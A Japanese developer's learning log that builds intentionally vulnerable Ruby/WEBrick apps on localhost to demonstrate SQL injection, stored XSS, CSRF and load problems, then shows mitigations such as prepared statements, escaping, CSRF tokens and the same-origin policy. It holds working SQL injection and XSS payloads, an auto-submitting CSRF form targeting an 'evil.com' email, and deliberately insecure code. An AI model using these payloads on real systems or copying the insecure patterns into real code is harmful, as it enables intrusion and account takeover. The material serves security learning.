Closed15

セキュリティ的に問題のあるコードを「あえて」作ってみる

zackerzacker

https://github.com/zackerms/playground-ruby-security

環境のセットアップ

docker-compose.yaml
services:
  ruby:
    image: ruby:3.2
    volumes:
      - .:/app
    working_dir: /app
    ports:
      - "3000:3000"
    stdin_open: true
    tty: true
    command: bash
  db:
    image: mysql:8.0
    volumes:
      - mysql_data:/var/lib/mysql
    ports:
      - "3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: password
      MYSQL_DATABASE: mysql 
    command: --default-authentication-plugin=mysql_native_password

volumes:
  mysql_data:

tty: true(TTY - ターミナルを割り当てる)とstdin_open: true(コンテナの標準入力を開いたままにする)のオプションを設定することで、rubyコンテナが立ち上がったままになる

Gemfile
source 'https://rubygems.org'

gem 'webrick'
gem "mysql2"
zackerzacker

bundle exec ruby vs ruby

  • bundle exec ruby: Gemfileで指定されたライブラリのバージョンが利用される
  • ruby: システムにインストールされたライブラリのバージョンが利用される

例:
Gemfileでは sqlite3 gem のバージョン 1.4.0 を指定
しかし、別のプロジェクトで 1.5.0 でダウンロードされた
=> rubyで実行した場合は 1.5.0 が利用される

zackerzacker

どこにインストールされるか

  • システムの ruby の gem ディレクトリ内に保存される
  • gem env | grep gemで調べることができる

プロジェクトごとにライブラリをインストールしたい

  • ベンダー化モード を利用することで実現可能
bundle install --path vendor/bundle
zackerzacker

SQL Injection

根本原因

  • クエリ実行時にユーザから渡されたパラメータをエスケープしていない

コード

client = Mysql2::Client.new(
  host: 'db',
  username: "root",
  password: "password",
  database: "test_db"
)

# Create a simple database
client.query("CREATE TABLE IF NOT EXISTS users (id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50), role VARCHAR(50))")

# Insert some test data
client.query("INSERT IGNORE INTO users VALUES (1, 'admin', 'admin-password', 'admin')")
client.query("INSERT IGNORE INTO users VALUES (2, 'alice', 'alice-password', 'user')")
client.query("INSERT IGNORE INTO users VALUES (3, 'bob', 'bob-password', 'user')")
client.query("INSERT IGNORE INTO users VALUES (4, 'charlie', 'charlie-password', 'user')")
client.query("INSERT IGNORE INTO users VALUES (5, 'eve', 'eve-password', 'user')")
server = WEBrick::HTTPServer.new(:Port => 3000)

# user search(vulnerable to SQL injection)
server.mount_proc '/search' do |req, res|
  username = req.query['username']
  
  # Vulnerable SQL query - NO SANITIZATION
  query = "SELECT username FROM users WHERE username = '#{username}' AND role = 'user'"
  begin
    results = client.query(query)
    res.status = 200
    res['Content-Type'] = 'text/plain'
    res.body = results.to_a.inspect
  rescue Mysql2::Error => e
    res.body = "Error: #{e.message}"
  end
end

正常系

http://localhost:3000/search?username=alice
# SELECT * FROM users WHERE username = 'alice' AND role = 'user'"
# => [{"username"=>"alice"}]

SQL Injection

全ユーザー表示

http://localhost:3000/search?username=' OR '1 '= '1
# SELECT * FROM users WHERE username = '' OR '1 '= '1' AND role = 'user'"
# => [{"username"=>"alice"}, {"username"=>"bob"}, {"username"=>"charlie"}, {"username"=>"eve"}]

管理者を含む全ユーザー表示

http://localhost:3000/search?username=' OR role = 'admin' OR '1' = '1
# SELECT * FROM users WHERE username = '' OR role = 'admin' OR '1' = '1' AND role = 'user'"
# => [{"username"=>"admin"}, {"username"=>"alice"}, {"username"=>"bob"}, {"username"=>"charlie"}, {"username"=>"eve"}]

管理者を含む全ユーザー表示(roleカラムの存在をしらなくてもOK)

http://localhost:3000/search?username=' OR 1=1 -- 
# SELECT * FROM users WHERE username = '' username=' OR 1=1 -- ' AND role = 'user'"
# => [{"username"=>"admin"}, {"username"=>"alice"}, {"username"=>"bob"}, {"username"=>"charlie"}, {"username"=>"eve"}]
http://localhost:3000/search?username=' OR 
# SELECT * FROM users WHERE username = '' OR 1 = 1 UNION SELECT username FROM users WHERE '1' = '1' AND role = 'user'"
# => [{"username"=>"admin"}, {"username"=>"alice"}, {"username"=>"bob"}, {"username"=>"charlie"}, {"username"=>"eve"}]

テーブル名を表示

http://localhost:3000/search?username=' UNION SELECT table_name FROM information_schema.columns WHERE table_schema=database() -- 
# SELECT * FROM users WHERE username = '' UNION SELECT table_name FROM information_schema.columns WHERE table_schema=database() -- ' AND role = 'user'"
# => [{"username"=>"users"}]

カラム名を表示

http://localhost:3000/search?username=' UNION SELECT column_name FROM information_schema.columns WHERE table_schema=database() --
# SELECT * FROM users WHERE username = '' UNION SELECT column_name FROM information_schema.columns WHERE table_schema=database() -- ' AND role = 'user'"
# => [{"username"=>"id"}, {"username"=>"username"}, {"username"=>"password"}, {"username"=>"role"}]
zackerzacker

コメントアウトの攻撃はエラーになってしまうっぽい

http://localhost:3000/find?username=user' OR '1'= '1' --
# Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'user'' at line 1

http://localhost:3000/find?username=user' OR '1'= '1' -- というように--のあとにスペースを入れる。

zackerzacker

XSS

根本原因

  • HTMLに表示するときにエスケープをしていない

コード

server.rb
client.query("CREATE TABLE IF NOT EXISTS messages (id INT AUTO_INCREMENT PRIMARY KEY, message TEXT, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP)")

server.mount_proc('/') do |req, res|
  if req.request_method == 'POST'
    # ===============================
    # 新規メッセージ作成
    # ===============================
    message = req.query['message']

    # XSS脆弱性: ユーザー入力を無害化せずに直接データベースに保存
    client.query("INSERT INTO messages (message) VALUES ('#{message}')")
    # See other
    res.set_redirect(WEBrick::HTTPStatus::SeeOther, '/')
  else
    # ===============================
    # メッセージ一覧表示
    # ===============================
    messages = client.query("SELECT * FROM messages ORDER BY created_at DESC")

    template = ERB.new(File.read('erb/index.erb'))

    res.body = template.result(binding)
    res.content_type = 'text/html'
  end
end
erb/index.erb
<!DOCTYPE html>
<html>
<body>
  <div class="form">
    <h2>新しいメッセージを投稿</h2>
    <form method="POST" action="/">
      <textarea name="message" rows="3" cols="40"></textarea><br>
      <input type="submit" value="投稿">
    </form>
  </div>
  
  <h2>メッセージ一覧</h2>
  <% messages.each do |message| %>
    <div class="message">
      <!-- XSS脆弱性: ERBでユーザー入力をエスケープせずに出力 -->
      <%= message['message'] %>
    </div>
  <% end %>
</body>
</html>

pタグを入れてみる

<p style="color: red">xss</p>

インサート時にclient.query("INSERT INTO messages (message) VALUES ('#{message}')")'を使用しているため、入力値には'ではなく、"を利用する

scriptタグを入れてみる

<script>alert("xss");</script>

zackerzacker

CSRF

根本原因

  • CookieがJavascriptで呼び出せる
    • 攻撃者のページからJSでCookieを取得することができてしまう
    • 対策:HttpOnly
  • 外部のサイトにCookieが渡されている
    • 対策:同一オリジンポリシーを設定
  • 適切なサイトからのリクエストであるかを検証していない
    • 対策:CSRF対策トークン、Origin/Refererヘッダーを検証

コード

メールアドレス更新

server.mount_proc('/update_email') do |req, res|
  if req.request_method == 'POST'
    # セッション情報を取得
    session_id = req.cookies.find { |c| c.name == 'session_id' }&.value
    session = Session.get(session_id)
    if session.nil?
      res.set_redirect(WEBrick::HTTPStatus::Found, '/login')
      next
    end
    
    # データベース更新
    new_email = req.query['email']
    client.query("UPDATE users SET email = '#{new_email}' WHERE id = #{session[:user_id]}")
    
    res.set_redirect(WEBrick::HTTPStatus::Found, '/profile?updated=1')
  end
end

攻撃者用コード(一部抜粋)

  • /update_email に攻撃者のメールアドレスを仕込んだフォームリクエストを送信
  • iframeを埋め込むことで、フォーム送信時に画面遷移しないようにする
<!-- 隠しCSRF攻撃フォーム - 自動的に送信される -->
<iframe style="display:none" name="hidden-frame"></iframe>
<form id="csrf-form" action="http://localhost:3000/update_email" method="post" target="hidden-frame">
  <input type="hidden" name="email" value="hacked@evil.com">
</form>

<script>
  // ページ読み込み時に自動的にフォームを送信
  window.onload = function() {
    document.getElementById('csrf-form').submit();
    // 送信成功を偽装
    setTimeout(function() {
      alert('おめでとうございます!エントリーが完了しました!');
    }, 1000);
  };
</script>

サービスページ

ログイン画面

プロフィール画面

攻撃者用ページ

アクセスするだけでメールアドレスが更新されてしまう

更新されたメールアドレス

zackerzacker

DoS対策

最初のコード

server.rb
require 'webrick'
require 'mysql2'
require 'erb'

# Create MySQL client
client = Mysql2::Client.new(
  host: 'db',
  username: "root",
  password: "password",
  database: "test_db",
  reconnect: true
)

# Create a simple database
client.query("CREATE TABLE IF NOT EXISTS users (id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50), role VARCHAR(50))")

# Insert some test data
if client.query("SELECT COUNT(*) FROM users").first["COUNT(*)"] == 0
  1000.times do |i|
    client.query("INSERT IGNORE INTO users VALUES (#{i}, 'user#{i}', 'password#{i}', 'user')")
  end
end

# Create a WebRick server
server = WEBrick::HTTPServer.new(:Port => 3000)

server.mount('/public', WEBrick::HTTPServlet::FileHandler, 'public')

server.mount_proc '/' do |req, res|
  @users = client.query("SELECT * FROM users")
  template = ERB.new(File.read('erb/index.erb'))
  res.body = template.result(binding)
  res.content_type = 'text/html'
end

# terminate server on Ctrl+C
trap('INT') { server.shutdown }

server.start
zackerzacker

大量にアクセスをすると、ERROR Mysql2::Error: This connection is in use by...が発生するので、コネクションプールを作ってみる。

server.rb
require 'webrick'
require 'mysql2'
require 'erb'
require 'connection_pool'

# Create MySQL client
DB_POOL = ConnectionPool.new(size: 5, timeout: 5) do
  Mysql2::Client.new(
    host: 'db',
    username: "root",
    password: "password",
    database: "test_db",
  )
end

DB_POOL.with do |client|
  # Create a simple database
  client.query("CREATE TABLE IF NOT EXISTS users (id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50), role VARCHAR(50))")

  # Insert some test data
  if client.query("SELECT COUNT(*) FROM users").first["COUNT(*)"] == 0
    1000.times do |i|
      client.query("INSERT IGNORE INTO users VALUES (#{i}, 'user#{i}', 'password#{i}', 'user')")
    end
  end
end

# Create a WebRick server
server = WEBrick::HTTPServer.new(:Port => 3000)

server.mount('/public', WEBrick::HTTPServlet::FileHandler, 'public')

server.mount_proc '/' do |req, res|
  begin
    DB_POOL.with do |client|
      @users = client.query("SELECT * FROM users")
      template = ERB.new(File.read('erb/index.erb'))
      res.body = template.result(binding)
      res.content_type = 'text/html'
    end
  rescue ConnectionPool::TimeoutError
    res.status = 503
    res.body = "Database connection timeout. Please try again later."
    res.content_type = 'text/plain'
  end
  
end

# terminate server on Ctrl+C
trap('INT') { server.shutdown }

server.start

途中まで耐えられてたけど、Segmentation faultが発生しちゃった。

ruby-1  | (erb):15: [BUG] Segmentation fault at 0x0000000000000008
ruby-1  | ruby 3.2.8 (2025-03-26 revision 13f495dc2c) [aarch64-linux]
zackerzacker

これはWebrickの問題なのかDB接続の問題なのかが良くわからなかったので、ファイル読み込みのみを行うサーバを立てる

server.rb
require 'webrick'
require 'mysql2'
require 'erb'

# Create a WebRick server
server = WEBrick::HTTPServer.new(:Port => 3000)

server.mount_proc '/' do |req, res|
  res.body = File.read('public/rails.png')
  res.content_type = 'image/png'
end

# terminate server on Ctrl+C
trap('INT') { server.shutdown }

server.start

いちおう、レスポンスに時間がかかってしまうけど、サーバが落ちることはなかった

zackerzacker

画像取得の負荷テスト

サーバ直接(リソース制約なし)

400ユーザあたりからリクエストが落ち始めた

メモリはあまり使ってないけど、CPUがボトルネックになっているみたい

nginx(リソース制約なし) + サーバ(リソース制約なし)

エラーなく対処できた

nginx(リソース制約なし) + サーバ(RAM: 256, CPU: 0.3)

キャッシュデータを返すだけだから、サーバへのリクエストはない

nginx(RAM: 256, CPU: 0.3)+ サーバ(RAM: 256, CPU: 0.3)

リソース制約をつけても、さばき切れた

キャッシュが利用できる場合は、CPUもメモリもそんなに使わないっぽい

zackerzacker

SQLインジェクション対策

  • クエリとパラメータを分離する(Prepared Statementsを使用する)
stmt = client.prepare("SELECT username FROM users WHERE username = ? AND role = 'user'")
results = stmt.execute(username) 

https://dev.mysql.com/doc/refman/8.0/ja/sql-prepared-statements.html

mysql> PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
mysql> SET @a = 3;
mysql> SET @b = 4;
mysql> EXECUTE stmt1 USING @a, @b;
+------------+
| hypotenuse |
+------------+
| 5 |
+------------+
mysql> DEALLOCATE PREPARE stmt1;

MySQLサーバには Prepared Statement -> EXECUTE が別々に送信される。

zackerzacker

XSS対策

  • 描画時 / 保存時 に値をエスケープする
<%= CGI.escapeHTML(message['message']) %>

描画される状態

<div class="message">
      <!-- エスケープする -->
      &lt;script&gt;alert("xss");&lt;/script&gt;
</div>
zackerzacker

CSRF対策

  • CSRFトークンを生成
class Session
  @@sessions = {}
  
  def self.create(user_id)
    session_id = SecureRandom.hex(16)
    # トークンを付与
    csrf_token = SecureRandom.hex(32)
    @@sessions[session_id] = {
      user_id: user_id,
      csrf_token: csrf_token,
      created_at: Time.now
    }
    return session_id
  end
  
  def self.get(session_id)
    @@sessions[session_id]
  end
  
  def self.destroy(session_id)
    @@sessions.delete(session_id)
  end
end
  • CSRFトークンを埋め込む
<input type="hidden" name="csrf_token" value="<%= session[:csrf_token] %>">

対策できる理由

  • 攻撃者のページからのフォーム送信時に有効なCSRFトークンを含むことができにため。
 <form id="csrf-form" action="<%= @target_url %>" method="post" target="hidden-frame">
  <input type="hidden" name="email" value="hacked@evil.com">
</form>
<script>
  // ページ読み込み時に自動的にフォームを送信
  window.onload = function() {
    document.getElementById('csrf-form').submit();
  };
</script>
zackerzacker

疑問

攻撃者のサイト上に iframe で CSRFトークンが埋め込まれたページを描画して、トークンを取得することができるのでは?

結論

「他のサイトのJavascriptから、DOMを操作できないようにする」というブラウザの機能があるから大丈夫

検証

プロフィールページから直接取得

ふつうに取得できる

document.querySelector('input[name="csrf_token"]').value;
// > 'eae179f009c512f79772367cc25cb954224adef6f454985c7ec178d0949a35b4'

攻撃者ページのiframeから取得

<iframe id="victimFrame" src="<%= @target_endpoint %>/profile"></iframe>
<script>
  setTimeout(function() {
    // 失敗する
    var token = document.getElementById('victimFrame').contentDocument.querySelector('input[name="csrf_token"]').value;
    console.log("盗んだトークン: " + token); 
  }, 1000);
</script>

document.getElementById('victimFrame').contentDocumentnullとなるため取得できない

Same-Origin Policy

  • ブラウザのセキュリティ機能
  • 別のオリジンのページの DOM にアクセスできない
  • 攻撃者がユーザのログイン状態で表示しても、CSRFトークンをJavaScriptから表示することはできない
このスクラップは18日前にクローズされました